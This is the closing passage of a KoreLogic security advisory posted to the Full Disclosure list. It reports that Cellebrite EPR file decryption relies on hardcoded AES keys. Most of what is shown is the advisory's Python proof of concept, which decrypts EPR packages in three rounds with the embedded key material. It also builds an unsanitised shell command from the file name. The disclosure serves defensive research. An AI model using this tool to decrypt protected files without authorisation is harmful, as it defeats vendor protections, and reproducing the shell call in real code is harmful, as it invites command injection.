&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v3_aes_iv_three = hexlify(self.decrypted_epr[112:128])
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; except Exception as e:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.error("[!] Encountered an exception. Reason: {}".format(e))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def decrypt_epr(self):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (self.version == 2):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; crypter = AES.new(unhexlify(self.epr_v2_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_three))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] AES Key: {}, IV:
{}".format(self.epr_v2_aes_key_three,self.epr_v2_aes_iv_three))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; crypter = AES.new(unhexlify(self.epr_v3_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_three))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] AES Key: {}, IV:
{}".format(self.epr_v3_aes_key_three,self.epr_v3_aes_iv_three))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Decrypter setup with key 3 for version {}".format(self.version))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.encrypted_epr = self.encrypted_epr[128:]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for pos in range(0, len(self.encrypted_epr), 65536):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; decryptPart = self.encrypted_epr[pos:pos+65536]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.final_epr+=crypter.decrypt(decryptPart)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; except ValueError as e:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.final_epr+=crypter.decrypt(pad(decryptPart))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Finished decrypting all blocks.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Writing bytes to: {}.broken".format(self.file))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fp = open("{}.broken".format(self.file),"wb")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fp.write(self.final_epr)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fp.close()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Wrote {} bytes to a broken file.".format(len(self.final_epr)))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; except Exception as e:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.error("[!] Encountered an exception. Reason: {}".format(e))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def zip_FF(self):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Running: zip -FF {}.broken --out {}.zip &gt; /dev/null
2&gt;&amp;1".format(self.file,self.file))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; system("zip -FF {}.broken --out {}.zip &gt; /dev/null 2&gt;&amp;1".format(self.file,self.file))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def finish(self):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Removing the broken file.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; remove("{}.broken".format(self.file))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; move("{}.zip".format(self.file),"{}.zip".format(self.file.replace("input","output")))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[+] Decrypted file available at {}.zip".format(self.file.replace("input","output")))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def main():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; parser = OptionParser()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; parser.add_option("--file",dest="file",default=False,help="EPR File Path")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; parser.add_option("--version",dest="version",choices=(str(1),str(2),str(3)),default=str(3),help="EPR Version")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; parser.add_option("--verbose",dest="verbose",action="store_true",help="Enable verbose mode")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o,a = parser.parse_args()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o.version = int(o.version)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; epr = EPR(o.file,o.version,o.verbose)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not epr.file_exists():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[!] Unable to find the encrypted EPR file specified.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[+] The EPR file specified exists.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not epr.can_read_file():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[!] Unable to open a file object to the encrypted EPR file.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not epr.read_entire_file():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[!] Unable to read the encrypted EPR file.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[+] The specified EPR file has been read into memory.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[+] Using the version {} decryption process.".format(o.version))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not epr.flat_decrypt():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[!] Unable to run the initial decryption round.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[+] Round one of the EPR decryption completed successfully.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not epr.calc_sha256_dword():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[!] Unable to calculate the SHA256 key flag.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if o.verbose: logger.info("[+] The SHA256 key flag has been calculated.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not epr.key_map_check():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[!] Unable to find a AES key match.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if o.verbose: logger.info("[+] The SHA256 key flag has been found.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not epr.decrypt_key():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[!] Could not decrypt the final AES key.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not epr.decrypt_epr():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[!] Unable to decrypt the EPR file.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been
decrypted.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not epr.zip_FF():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[!] Could not clean up garbage.")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if __name__ == "__main__":
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; success = main()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if success:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[+] done")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.info("[!] failed")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(success)



The contents of this advisory are copyright(c) 2020
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
<a rel="nofollow" href="http://creativecommons.org/licenses/by-sa/4.0/">http://creativecommons.org/licenses/by-sa/4.0/</a>

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
<a rel="nofollow" href="https://www.korelogic.com/about-korelogic.html">https://www.korelogic.com/about-korelogic.html</a>

Our public vulnerability disclosure policy is available at:
<a rel="nofollow" href="https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt">https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt</a>
</pre><p><strong>Attachment:
<a href="att-31/signature_asc.bin"><tt>signature.asc</tt></a></strong>

<em>Description:</em> OpenPGP digital signature</p>
<pre style="margin: 0em;">
_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives &amp; RSS: <a rel="nofollow" href="http://seclists.org/fulldisclosure/">http://seclists.org/fulldisclosure/</a></pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="30"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#31">By Date</a>
<a href="32"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="30"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#31">By Thread</a>
<a href="32"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>KL-001-2020-003 : Cellebrite EPR Decryption Relies on Hardcoded AES Key Material</strong> <em>KoreLogic Disclosures via Fulldisclosure (Jun 29)</em>
</li></ul>


<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>